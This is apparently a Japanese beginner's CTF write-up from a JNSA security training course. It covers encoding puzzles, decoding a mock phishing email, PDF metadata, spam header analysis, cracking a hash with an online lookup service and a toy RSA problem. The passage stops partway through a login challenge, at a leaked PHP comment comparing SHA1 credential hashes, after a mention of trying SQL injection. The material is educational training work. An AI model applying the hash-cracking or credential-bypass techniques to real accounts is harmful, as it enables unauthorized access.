JNSAセキュリティチャレンジスクール 2025春期講座WriteUp

# はじめに

JNSAセキュリティチャレンジスクール 2025春期講座「CTF超入門講座」に参加し、CTFをしたのでそのwriteupを書きました
はじめてwriteupを書くので、いろいろ不備があると思いますが、ご容赦ください。
講座内で解き方が説明された問題は省いています。
2日間にわたるCTFでしたが、はじめて1位になれたので結構嬉しいです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/45b18d20-eca4-484a-947a-ec3bf91e6ede.png)



# Misc

## flag?{マルウェア名を特定せよ} - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/1224501e-8e11-4451-b6af-37d6cd72f6c2.png)

宛先で検索すると、`NotPetya`というランサムウェアがヒットする。

flag{Notpetya}だと思ったけど通らない。

flag{Petya}だと通った。

調べてみると、`Petya`はビットコインでの支払いを要求するみたい。`NotPetya`は`Petya`を強化したものっぽい。  
`NotPetya`はビットコインの支払いではなく軍事的な目的もあったみたい。

この[サイト](https://www.cloudflare.com/ja-jp/learning/security/ransomware/petya-notpetya-ransomware/)に詳しく`Petya`と`NotPetya`の違いが書かれていた。

`flag{Petya}`

## 文字列の変換もマジックで自由自在 - 10pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/4db384a2-bd6e-4e5b-b37d-1d1a54b845f1.png)

普通に16進数をASCIIすればいい。
[Dencode](https://dencode.com/ja/)を使って解読。

![image-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/dfa35668-d4f7-446a-a24e-becef71a7e57.png)

それかbashで変換。
```bash
$ echo "73 74 6f 70 74 68 69 6e 6b 63 6f 6e 6e 65 63 74" | xxd -r -p
stopthinkconnect
```
`xxd`の`-r`で16進数をバイナリにして、`-p`でプレーンテキストにする


`flag{stopthinkconnect}`

# Forensic

## フィッシングメールの解析 - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/978320b7-97a4-4de3-94a4-2c83c96427dd.png)

とりあえずダウンロードして`file`してみる。

```bash
$ file phishing_email.eml
phishing_email.eml: ASCII text, with very long lines (2472)
```

`cat`して、中身を確認してみる。

```bash
$ cat phishing_email.eml
To: noriaki <noriaki@ctf.k-sec.local>
Subject: =?utf-8?B?RVRD5Yip55So54Wn5Lya44K144O844OT44K544Gu44GK55+l44KJ44Gb?=
Date: Wed, 18 Oct 2023 06:37:40 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
        boundary="----=_001_ed4281522dfe605e_=----"

This is a multi-part message in MIME format.

------=_001_ed4281522dfe605e_=----
Content-Type: text/plain;
        charset="utf-8"
Content-Transfer-Encoding: base64

RVRD5Yip55So54Wn5Lya44K144O844OT44K544Gu44GK55+l44KJ44GbDQoNCuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgg0KDQrjgZPjga7jg6Hjg7zjg6vjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrko55m76Yyy5Z6LKeOBq+OBlOeZu+mMsuOBleOCjOOBpuOBhOOBpuOAgTQyMOaXpemWk+ODreOCsOOCpOODs+OBruOBquOBhOaWueOBq+OBiumAgeOCiuOBl+OBpuOBhOOBvuOBmeOAgg0KDQrjgYrlrqLmp5jjga7jg6bjg7zjgrbjg7xJROOBr+OAgeino+e0hOS6iOWumuaXpeOBvuOBp+OBq+ODreOCsOOCpOODs+OBhOOBn+OBoOOBkeOBquOBhOOBqOeZu+mMsuOBjOino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0K4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0KDQrjg6bjg7zjgrbjg7xJRCBub3JpYWtpQGN0Zi5rLXNlYy5sb2NhbCANCuino+e0hOS6iOWumuaXpSAyMDI05bm0OeaciDEx5pelKOawtCnjgb7jgafjga4gIA0KDQrop6PntITkuojlrprml6Xjgb7jgafjgavkuIvoqJjjgYvjgonjg63jgrDjgqTjg7PjgZfjgabjgYTjgZ/jgaDjgZHjgozjgbDjgIHjgZTnmbvpjLLjga/ntpnntprjgZXjgozjgb7jgZnjgIINCuKAu+eZu+mMsuOBjOe2mee2muOBleOCjOOBn+mam+OBruOBiuefpeOCieOBm+OBr+OBlOOBluOBhOOBvuOBm+OCk+OAgg0K4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCDQoNCkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Ot44Kw44Kk44Oz4oC744GT44GuVVJM44Gu5pyJ5Yq55pyf6ZaT44Gv5omL57aa44GN5Y+X5LuY5pmC44KI44KKNDjmmYLplpPjgafjgZnjgIINCg0KaHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwMCZuZXh0ZnVuYz1YWFhYMDAwMDAwDQoNCuWGjeW6pueZu+mMsuOCkuW4jOacm+OBleOCjOOCi+WgtOWQiOOCguOAgeOBiuawl+i7veOBq+OBlOWIqeeUqOOBj+OBoOOBleOBhOOAgg0KDQrilqDms6jmhI/kuovpoIUNCuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgg0K44GU5LiN5piO54K544GM44GC44KL5aC05ZCI44Gv44CBRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGA44Gr55u05o6l44GK5ZWP44GE5ZCI44KP44Gb44GP44Gg44GV44GE44CCDQrilqBFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYANCuW5tOS4reeEoeS8kSA5OjAwfjE4OjAwDQrjg4rjg5Tjg4DjgqTjg6Tjg6sgMDU3MC0wMDEwNjk=

------=_001_ed4281522dfe605e_=----
Content-Type: text/html;
        charset="utf-8"
Content-Transfer-Encoding: base64

PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxwPkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOBruOBiuefpeOCieOBmzwvcD4NCjxwPuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgjwvcD4NCjxwPuOBk+OBruODoeODvOODq+OBr+OAgUVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Gr44GU55m76Yyy44GV44KM44Gm44GE44Gm44CBNDIw5pel6ZaT44Ot44Kw44Kk44Oz44Gu44Gq44GE5pa544Gr44GK6YCB44KK44GX44Gm44GE44G+44GZ44CCPC9wPg0KPHA+44GK5a6i5qeY44Gu44Om44O844K244O8SUTjga/jgIHop6PntITkuojlrprml6Xjgb7jgafjgavjg63jgrDjgqTjg7PjgYTjgZ/jgaDjgZHjgarjgYTjgajnmbvpjLLjgYzop6PntITjgajjgarjgorjgb7jgZnjgII8YnI+4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgjwvcD4NCjxwPuODpuODvOOCtuODvElEIG5vcmlha2lAY3RmLmstc2VjLmxvY2FsIDxicj7op6PntITkuojlrprml6UgMjAyNOW5tDnmnIgxMeaXpSjmsLQp44G+44Gn44GuJm5ic3A7IDwvcD4NCjxwPuino+e0hOS6iOWumuaXpeOBvuOBp+OBq+S4i+iomOOBi+OCieODreOCsOOCpOODs+OBl+OBpuOBhOOBn+OBoOOBkeOCjOOBsOOAgeOBlOeZu+mMsuOBr+e2mee2muOBleOCjOOBvuOBmeOAgjxicj7igLvnmbvpjLLjgYzntpnntprjgZXjgozjgZ/pmpvjga7jgYrnn6XjgonjgZvjga/jgZTjgZbjgYTjgb7jgZvjgpPjgII8YnI+4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCPC9wPg0KPHA+RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjg63jgrDjgqTjg7PigLvjgZPjga5VUkzjga7mnInlirnmnJ/plpPjga/miYvntprjgY3lj5fku5jmmYLjgojjgoo0OOaZgumWk+OBp+OBmeOAgjwvcD4NCjxwPjxhIGhyZWY9Imh0dHBzOi8vZmxhZ3tkZWZhbmd9L2V0Yy9SP2Z1bmNjb2RlPVhYWFgwMDAwMDAmbmV4dGZ1bmM9WFhYWDAwMDAwMCI+aHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwJm5leHRmdW5jPVhYWFgwMDAwMDA8L2E+PC9wPg0KPHA+5YaN5bqm55m76Yyy44KS5biM5pyb44GV44KM44KL5aC05ZCI44KC44CB44GK5rCX6Lu944Gr44GU5Yip55So44GP44Gg44GV44GE44CCPC9wPg0KPHA+4pag5rOo5oSP5LqL6aCFPGJyPuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgjxicj7jgZTkuI3mmI7ngrnjgYzjgYLjgovloLTlkIjjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYDjgavnm7TmjqXjgYrllY/jgYTlkIjjgo/jgZvjgY/jgaDjgZXjgYTjgII8YnI+4pagRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGAPGJyPuW5tOS4reeEoeS8kSANCjk6MDB+MTg6MDA8YnI+44OK44OU44OA44Kk44Ok44OrIDA1NzAtMDAxMDY5PGJyPjwvcD4NCjwvYm9keT4NCjwvaHRtbD4=

------=_001_ed4281522dfe605e_=------
```

ファイルを見に行くと、base64エンコードされている。

```bash
echo 'RVRD5Yip55So54Wn5Lya44K144O844OT44K544Gu44GK55+l44KJ44GbDQoNCuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgg0KDQrjgZPjga7jg6Hjg7zjg6vjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrko55m76Yyy5Z6LKeOBq+OBlOeZu+mMsuOBleOCjOOBpuOBhOOBpuOAgTQyMOaXpemWk+ODreOCsOOCpOODs+OBruOBquOBhOaWueOBq+OBiumAgeOCiuOBl+OBpuOBhOOBvuOBmeOAgg0KDQrjgYrlrqLmp5jjga7jg6bjg7zjgrbjg7xJROOBr+OAgeino+e0hOS6iOWumuaXpeOBvuOBp+OBq+ODreOCsOOCpOODs+OBhOOBn+OBoOOBkeOBquOBhOOBqOeZu+mMsuOBjOino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0K4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0KDQrjg6bjg7zjgrbjg7xJRCBub3JpYWtpQGN0Zi5rLXNlYy5sb2NhbCANCuino+e0hOS6iOWumuaXpSAyMDI05bm0OeaciDEx5pelKOawtCnjgb7jgafjga4gIA0KDQrop6PntITkuojlrprml6Xjgb7jgafjgavkuIvoqJjjgYvjgonjg63jgrDjgqTjg7PjgZfjgabjgYTjgZ/jgaDjgZHjgozjgbDjgIHjgZTnmbvpjLLjga/ntpnntprjgZXjgozjgb7jgZnjgIINCuKAu+eZu+mMsuOBjOe2mee2muOBleOCjOOBn+mam+OBruOBiuefpeOCieOBm+OBr+OBlOOBluOBhOOBvuOBm+OCk+OAgg0K4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCDQoNCkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Ot44Kw44Kk44Oz4oC744GT44GuVVJM44Gu5pyJ5Yq55pyf6ZaT44Gv5omL57aa44GN5Y+X5LuY5pmC44KI44KKNDjmmYLplpPjgafjgZnjgIINCg0KaHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwMCZuZXh0ZnVuYz1YWFhYMDAwMDAwDQoNCuWGjeW6pueZu+mMsuOCkuW4jOacm+OBleOCjOOCi+WgtOWQiOOCguOAgeOBiuawl+i7veOBq+OBlOWIqeeUqOOBj+OBoOOBleOBhOOAgg0KDQrilqDms6jmhI/kuovpoIUNCuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgg0K44GU5LiN5piO54K544GM44GC44KL5aC05ZCI44Gv44CBRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGA44Gr55u05o6l44GK5ZWP44GE5ZCI44KP44Gb44GP44Gg44GV44GE44CCDQrilqBFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYANCuW5tOS4reeEoeS8kSA5OjAwfjE4OjAwDQrjg4rjg5Tjg4DjgqTjg6Tjg6sgMDU3MC0wMDEwNjk=
' | base64 -d

ETC利用照会サービスのお知らせ

平素よりETC利用照会サービスをご利用いただき、誠にありがとうございます。

このメールは、ETC利用照会サービス(登録型)にご登録されていて、420日間ログインのない方にお送りしています。

お客様のユーザーIDは、解約予定日までにログインいただけないと登録が解約となります。
※ETC利用照会サービス(登録型)は450日間ログインがない場合、ユーザーIDの登録が自動的に解約となります。

ユーザーID noriaki@ctf.k-sec.local 
解約予定日 2024年9月11日(水)までの  

解約予定日までに下記からログインしていただければ、ご登録は継続されます。
※登録が継続された際のお知らせはございません。
※パスワードがわからない場合も、ログインページから新パスワードの発行を行えます。

ETC利用照会サービス(登録型)ログイン※このURLの有効期間は手続き受付時より48時間です。

https://www2.etc-meisai.jp/etc/R?funccode=XXXX000000&nextfunc=XXXX000000

再度登録を希望される場合も、お気軽にご利用ください。

■注意事項
このメールは送信専用です。返信は受け付けておりません。
ご不明点がある場合は、ETC利用照会サービス事務局に直接お問い合わせください。
■ETC利用照会サービス事務局
年中無休 9:00~18:00
ナピダイヤル 0570-001069
```

flagはドメインらしいので、`www2.etc-meisai.jp`ぽいが違った。

htmlの方もデコードしてみる。

```bash
echo 'PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxwPkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOBruOBiuefpeOCieOBmzwvcD4NCjxwPuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgjwvcD4NCjxwPuOBk+OBruODoeODvOODq+OBr+OAgUVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Gr44GU55m76Yyy44GV44KM44Gm44GE44Gm44CBNDIw5pel6ZaT44Ot44Kw44Kk44Oz44Gu44Gq44GE5pa544Gr44GK6YCB44KK44GX44Gm44GE44G+44GZ44CCPC9wPg0KPHA+44GK5a6i5qeY44Gu44Om44O844K244O8SUTjga/jgIHop6PntITkuojlrprml6Xjgb7jgafjgavjg63jgrDjgqTjg7PjgYTjgZ/jgaDjgZHjgarjgYTjgajnmbvpjLLjgYzop6PntITjgajjgarjgorjgb7jgZnjgII8YnI+4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgjwvcD4NCjxwPuODpuODvOOCtuODvElEIG5vcmlha2lAY3RmLmstc2VjLmxvY2FsIDxicj7op6PntITkuojlrprml6UgMjAyNOW5tDnmnIgxMeaXpSjmsLQp44G+44Gn44GuJm5ic3A7IDwvcD4NCjxwPuino+e0hOS6iOWumuaXpeOBvuOBp+OBq+S4i+iomOOBi+OCieODreOCsOOCpOODs+OBl+OBpuOBhOOBn+OBoOOBkeOCjOOBsOOAgeOBlOeZu+mMsuOBr+e2mee2muOBleOCjOOBvuOBmeOAgjxicj7igLvnmbvpjLLjgYzntpnntprjgZXjgozjgZ/pmpvjga7jgYrnn6XjgonjgZvjga/jgZTjgZbjgYTjgb7jgZvjgpPjgII8YnI+4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCPC9wPg0KPHA+RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjg63jgrDjgqTjg7PigLvjgZPjga5VUkzjga7mnInlirnmnJ/plpPjga/miYvntprjgY3lj5fku5jmmYLjgojjgoo0OOaZgumWk+OBp+OBmeOAgjwvcD4NCjxwPjxhIGhyZWY9Imh0dHBzOi8vZmxhZ3tkZWZhbmd9L2V0Yy9SP2Z1bmNjb2RlPVhYWFgwMDAwMDAmbmV4dGZ1bmM9WFhYWDAwMDAwMCI+aHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwJm5leHRmdW5jPVhYWFgwMDAwMDA8L2E+PC9wPg0KPHA+5YaN5bqm55m76Yyy44KS5biM5pyb44GV44KM44KL5aC05ZCI44KC44CB44GK5rCX6Lu944Gr44GU5Yip55So44GP44Gg44GV44GE44CCPC9wPg0KPHA+4pag5rOo5oSP5LqL6aCFPGJyPuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgjxicj7jgZTkuI3mmI7ngrnjgYzjgYLjgovloLTlkIjjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYDjgavnm7TmjqXjgYrllY/jgYTlkIjjgo/jgZvjgY/jgaDjgZXjgYTjgII8YnI+4pagRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGAPGJyPuW5tOS4reeEoeS8kSANCjk6MDB+MTg6MDA8YnI+44OK44OU44OA44Kk44Ok44OrIDA1NzAtMDAxMDY5PGJyPjwvcD4NCjwvYm9keT4NCjwvaHRtbD4=
' | base64 -d

<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv=Content-Type>
</head>
<body>
<p>ETC利用照会サービスのお知らせ</p>
<p>平素よりETC利用照会サービスをご利用いただき、誠にありがとうございます。</p>
<p>このメールは、ETC利用照会サービス(登録型)にご登録されていて、420日間ログインのない方にお送りしています。</p>
<p>お客様のユーザーIDは、解約予定日までにログインいただけないと登録が解約となります。<br>※ETC利用照会サービス(登録型)は450日間ログインがない場合、ユーザーIDの登録が自動的に解約となります。</p>
<p>ユーザーID noriaki@ctf.k-sec.local <br>解約予定日 2024年9月11日(水)までの&nbsp; </p>
<p>解約予定日までに下記からログインしていただければ、ご登録は継続されます。<br>※登録が継続された際のお知らせはございません。<br>※パスワードがわからない場合も、ログインページから新パスワードの発行を行えます。</p>
<p>ETC利用照会サービス(登録型)ログイン※このURLの有効期間は手続き受付時より48時間です。</p>
<p><a href="https://flag{defang}/etc/R?funccode=XXXX000000&nextfunc=XXXX000000">https://www2.etc-meisai.jp/etc/R?funccode=XXXX00000&nextfunc=XXXX000000</a></p>
<p>再度登録を希望される場合も、お気軽にご利用ください。</p>
<p>■注意事項<br>このメールは送信専用です。返信は受け付けておりません。<br>ご不明点がある場合は、ETC利用照会サービス事務局に直接お問い合わせください。<br>■ETC利用照会サービス事務局<br>年中無休 
9:00~18:00<br>ナピダイヤル 0570-001069<br></p>
</body>
</html>
```
aタグにflagがあった！

`flag{defang}`

## 文書のプロパティ情報 - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/28fd1c84-f0c4-4a88-ae3c-cdedce90288c.png)

pdfのメタデータを確認してみる。

```bash
$ pdfinfo press_release.pdf
Title:           flag{metadata}
Subject:         flag{metadata}
Keywords:        flag{metadata}
Author:          flag{metadata}
Creator:         Microsoft® Word 2019
Producer:        Microsoft® Word 2019
CreationDate:    Wed Sep 11 04:18:50 2024 JST
ModDate:         Wed Sep 11 04:18:50 2024 JST
Custom Metadata: no
Metadata Stream: yes
Tagged:          yes
UserProperties:  no
Suspects:        no
Form:            none
JavaScript:      no
Pages:           1
Encrypted:       no
Page size:       594.96 x 842.04 pts (A4)
Page rot:        0
File size:       73967 bytes
Optimized:       no
PDF version:     1.7
```

`flag{metadata}`

## 画像ファイルのスキャン - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/1245b38e-4178-4632-b435-59db50a090de.png)

とりあえず画像を開いてみる。

![flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/ff2087a5-9ba8-4d40-8eac-cb804d785fc2.png)

QRコードなので、スキャンしてみる。
スキャンするとflagゲット。

`flag{masahiro_hara}`

## 迷惑メールのヘッダー解析 - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/5e44c873-4654-4389-bd4f-964addc11a27.png)

フラグの形式に`.jp`が含まれているので、`grep`してみる。

```bash
$ grep  jp meiwaku_header.txt
        b=wi2bkB+jzdtjRIDQClOpJyn/t6MQNSZBLNoKMCLU0JWquWqijp4Yfc+jgITTQ9Z7zh
       dkim=neutral (body hash did not verify) header.i=@anti.spam.jp header.s=anti.spam.jp header.b=X2jwLATY;
       spf=softfail (google.com: domain of transitioning admin@anti.spam.jp does not designate 175.177.155.113 as permitted sender) smtp.mailfrom=admin@anti.spam.jp;
Return-Path: <admin@anti.spam.jp>
Received-SPF: softfail (google.com: domain of transitioning admin@anti.spam.jp does not designate 172.16.155.113 as permitted sender) client-ip=172.16.155.113;
       dkim=neutral (body hash did not verify) header.i=@btmdy.com.cn header.s=anti.spam.jp header.b=X2jwLATY;
       spf=softfail (google.com: domain of transitioning admin@anti.spam.jp does not designate 172.16.155.113 as permitted sender) smtp.mailfrom=admin@anti.spam.jp;
Received: from mail.anti.spam.jp ([172.16.155.43])
Received-SPF: PASS identity=mailfrom; envelope-from="admin@anti.spam.jp"
        dkim=fail (key DNS reply corrupt) header.d=anti.spam.jp
 header.i=admin@anti.spam.jp header.b=X2jwLATY;
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=anti.spam.jp; d=anti.spam.jp;
 h=Sender:From:To:Subject:Date:Message-ID:MIME-Version:Content-Type; i=admin@anti.spam.jp;
DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=anti.spam.jp; d=anti.spam.jp;
Sender: admin@anti.spam.jp
Message-ID: <00fa6daf4946$bd011495$e726a8f4$@etc-meisai.jp>
```

`anti.spam.jp`しかないっぽいのでこれがフラグっぽい。

`flag{anti.spam.jp}`

# Crypto

## ハッシュ化されたデータから平文を取得する - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/a126c65b-2afa-4abb-853d-ec3b865a05b0.png)

とりあえず[crackstation](https://crackstation.net/)を使ってみる。

![image-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/75d96c02-fd85-4139-b4a4-83468531d0df.png)

flagゲット。

`flag{kousen}`

## 初めての暗号解読 - 100pt

![スクリーンショット 2025-03-25 130121.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/8a8ec7c4-fb23-4687-a13a-b6d860bcd35e.png)

rot13で解読する。

```bash
$ echo "synt{gronucyn}" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
flag{tebahpla}
```

`tr`コマンドは文字列の置換を行うコマンドで`'A-Za-z'`は変換前の範囲、`'N-ZA-Mn-za-m'`が置換先の範囲。
zの次はaにしないといけないので、上のような範囲指定になる。

`flag{tebahpla}`

## 【Crypto 1】emperor - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/106f7dd7-42c4-4d87-898f-4802d1d45d30.png)

普通にシーザー暗号なので、解くだけ。
Key=23の時にflagゲット。

`flag{caesar_encryption_is_famous}`

## 【Crypto 2】magic square - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/ed1c9e74-697f-4d3a-8ca3-cf040afda488.png)

問題文からヴィジュネル暗号だと分かる。
鍵は3文字なので、`o`と`p`に同じ鍵が使われていることが分かる。
また、フラグ形式が`flag{...}`であることから鍵を簡単に割り出せる。
鍵は`jri`。
あとはcyberChefで解く。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/5d39a482-a776-4840-9493-44efb5195a1d.png)

`flag{how_about_a_classic_cipher?}`

## 【Crypto 3】mystery - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/b549fb07-91b8-4b81-b6c9-bb4e0abd9244.png)

エニグマの問題。
エニグマの処理の仕方は詳しく知らないけど、問題文のヒントでなんとなくわかりそう...
とりあえずcyberChefで解く。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/770799be-f0da-431c-b170-10a69d646a8d.png)
文字の区切りおかしいけど、解けた!!!

`FLAG{ALL PEOPLE TRUST THAT ENIGMA IS NOT SOLVABLE}`

## 【Crypto 4】transform - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/9aab6713-f8a9-49db-877f-1e9a03813018.png)
97が`a`に対応していることから、ASCIIコードだと分かる。
一応16進数に直す
`66, 6C, 61, 67, 7B, 43, 68, 61, 72, 61, 63, 74, 65, 72, 73, 5F, 63, 61, 6E, 5F, 62, 65, 5F, 74, 72, 61, 6E, 73, 66, 6F, 72, 6D, 65, 64, 5F, 69, 6E, 74, 6F, 5F, 6E, 75, 6D, 62, 65, 72, 73, 7D`

変換するとflagゲット。

`flag{Characters_can_be_transformed_into_numbers}`

## 【Crypto 5】modern - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/56b7e37e-7bab-44a5-9fd3-a7e6f68a4adf.png)

RSA暗号の問題。
Nが小さいので、普通に計算できそう。
pythonが使いやすいので、コードを書く。
```py
import sympy

# 与えられたRSAの公開鍵と暗号文
n = 9379
e = 3
C = 8899

# n を素因数分解して p, q を求める
factors = sympy.factorint(n)
p, q = factors.keys()

# オイラーのトーシェント関数 φ(n) の計算
phi_n = (p - 1) * (q - 1)

# e の逆元 d を求める (e * d ≡ 1 mod φ(n))
d = pow(e, -1, phi_n)

# RSAの復号計算 M = C^d mod n
M = pow(C, d, n)
print(M) # 323
```

`flag{323}`

# Crypto-Extra

## Secure Auth - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/78ab6740-c026-4888-8917-6dffbd0f8b96.png)
アクセスすると、ログイン画面が表示される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/44ab244f-97d8-4c59-9c9b-fa02f3b47c6e.png)
適当にSQLインジェクションを試すがヒットしない。
ページのコードを読んでみる。
コメント発見!!!
```
<!---
if (isset($_GET['username']) and isset($_GET['password'])) {
        if (hash("sha1", $_GET['username']) != "35675e68f4b5af7b995d9205ad0fc43842f16450") {
            echo "Invalid username";
        }
        else if (hash("sha1", $_GET['password']) == "30274c47903bd1bac7633bbf09743149ebab805f") {
